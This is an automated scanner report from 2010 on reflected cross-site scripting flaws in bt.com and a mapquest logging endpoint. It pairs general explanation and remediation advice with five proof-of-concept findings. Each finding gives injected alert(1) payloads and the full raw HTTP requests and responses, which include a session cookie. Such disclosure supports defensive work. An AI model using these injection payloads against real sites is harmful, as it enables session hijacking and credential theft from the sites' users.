Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the link request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c1ec1'style%3d'x%3aexpression(alert(1))'1115d8b8479 was submitted in the link parameter. This input was echoed as c1ec1'style='x:expression(alert(1))'1115d8b8479 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /homepage/btcom_redirectLink.jsp?link=http://www.btplc.com/responsiblebusiness/index.htmc1ec1'style%3d'x%3aexpression(alert(1))'1115d8b8479 HTTP/1.1 Host: bt.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_pn=BT.com%20Homepage; s_sq=%5B%5BB%5D%5D; JSESSIONID_btv=6nVtMt1GrZRfYpJm9TV7GlpJhtJ0SSGLVQwRKTVpR4h2tlw7Tt2P!337161785; btcomsite=r;
Response
HTTP/1.1 200 OK Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: btcomsite=r; domain=bt.com; path=/ Cache-Control: no-store Content-length: 416 Date: Wed, 24 Nov 2010 16:40:05 GMT Connection: close Server: BT Web Server X-Powered-By: Servlet/2.4 JSP/2.0 Content-type: text/html; charset=ISO-8859-1 Pragma: no-cache
<html> <head><title>BT Com HomePage</title> <META HTTP-EQUIV="Pragma" CONTENT="no-cache">
The value of the link request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee836"style%3d"x%3aexpression(alert(1))"ec23721d2bd was submitted in the link parameter. This input was echoed as ee836"style="x:expression(alert(1))"ec23721d2bd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /homepage/btcom_redirectLink.jsp?link=http://www.btplc.com/responsiblebusiness/index.htmee836"style%3d"x%3aexpression(alert(1))"ec23721d2bd HTTP/1.1 Host: bt.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_pn=BT.com%20Homepage; s_sq=%5B%5BB%5D%5D; JSESSIONID_btv=6nVtMt1GrZRfYpJm9TV7GlpJhtJ0SSGLVQwRKTVpR4h2tlw7Tt2P!337161785; btcomsite=r;
Response
HTTP/1.1 200 OK Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: btcomsite=r; domain=bt.com; path=/ Cache-Control: no-store Content-length: 416 Date: Wed, 24 Nov 2010 16:40:04 GMT Connection: close Server: BT Web Server X-Powered-By: Servlet/2.4 JSP/2.0 Content-type: text/html; charset=ISO-8859-1 Pragma: no-cache
<html> <head><title>BT Com HomePage</title> <META HTTP-EQUIV="Pragma" CONTENT="no-cache">
The value of the s_pageName request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 57913"%3balert(1)//f724bbae299 was submitted in the s_pageName parameter. This input was echoed as 57913";alert(1)//f724bbae299 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /homepage/btcom_redirectLink.jsp?link=http://www.btplc.com/News/Index.cfm&s_pageName=BT.com:Pan:Group%20News57913"%3balert(1)//f724bbae299 HTTP/1.1 Host: bt.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_pn=BT.com%20Homepage; s_sq=%5B%5BB%5D%5D; JSESSIONID_btv=6nVtMt1GrZRfYpJm9TV7GlpJhtJ0SSGLVQwRKTVpR4h2tlw7Tt2P!337161785; btcomsite=r;
Response
HTTP/1.1 200 OK Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: btcomsite=r; domain=bt.com; path=/ Cache-Control: no-store Content-length: 912 Date: Wed, 24 Nov 2010 16:40:09 GMT Connection: close Server: BT Web Server X-Powered-By: Servlet/2.4 JSP/2.0 Content-type: text/html; charset=ISO-8859-1 Pragma: no-cache
<html> <head><title>BT Com HomePage</title> <META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META http-equiv='refresh' content='0;URL=http://www.btplc.com/News/Index.cfm'> </head> <b ...[SNIP]... <script language="JavaScript"> var s_pageName="BT.com:Pan:Group News57913";alert(1)//f724bbae299"; var s_channel="Pan"; var s_products=""; var s_events=""; var s_hier1="BT.com:Pan:Group News57913";alert(1)//f724bbae299"; var s_prop9="Not Logged In";
The value of the t request parameter is copied into the HTML document as plain text between tags. The payload c1fc8<script>alert(1)</script>3db3840ffc6 was submitted in the t parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tilelog/transaction?transaction=log&t=mc1fc8<script>alert(1)</script>3db3840ffc6&c=1&c2=1&s=36000&lat=38.134557&lng=-98.4375&key=mjtd%7Clu6y2d6121%2Crs%3Do5-0w7aq&rand=67355 HTTP/1.1 Host: btilelog.access.mapquest.com Proxy-Connection: keep-alive Referer: http://www.totalmerrill.com/TotalMerrill/system/searchlocation.aspx?hdnLatitude=40.7394&hdnLongitude=-73.9835&hdnType=ByLocation&txtPostalCode=10010&txtCity=&selStateProvince=&ddwnDistance=25&rdoUnit=mi&txtFirstName=&txtName=&Submit=Search&ddwnSearchType=BRANCH&fatype=WM Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 400 Bad Request Date: Wed, 24 Nov 2010 22:55:43 GMT Server: Apache Content-Length: 62 Cache-Control: max-age=300 Expires: Wed, 24 Nov 2010 23:00:43 GMT Connection: close Content-Type: text/plain
Bad Request (log) mc1fc8<script>alert(1)</script>3db3840ffc6
The value of the transaction request parameter is copied into the HTML document as plain text between tags. The payload cbc1b<script>alert(1)</script>f93769e8dcf was submitted in the transaction parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tilelog/transaction?transaction=logcbc1b<script>alert(1)</script>f93769e8dcf&t=m&c=1&c2=1&s=36000&lat=38.134557&lng=-98.4375&key=mjtd%7Clu6y2d6121%2Crs%3Do5-0w7aq&rand=67355 HTTP/1.1 Host: btilelog.access.mapquest.com Proxy-Connection: keep-alive Referer: http://www.totalmerrill.com/TotalMerrill/system/searchlocation.aspx?hdnLatitude=40.7394&hdnLongitude=-73.9835&hdnType=ByLocation&txtPostalCode=10010&txtCity=&selStateProvince=&ddwnDistance=25&rdoUnit=mi&txtFirstName=&txtName=&Submit=Search&ddwnSearchType=BRANCH&fatype=WM Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 400 Bad Request Date: Wed, 24 Nov 2010 22:55:42 GMT Server: Apache Content-Length: 76 Cache-Control: max-age=300 Expires: Wed, 24 Nov 2010 23:00:42 GMT Connection: close Content-Type: text/plain
Bad Request (unknown command) logcbc1b<script>alert(1)</script>f93769e8dcf
Report generated by XSS.CX at Wed Nov 24 19:08:20 CST 2010.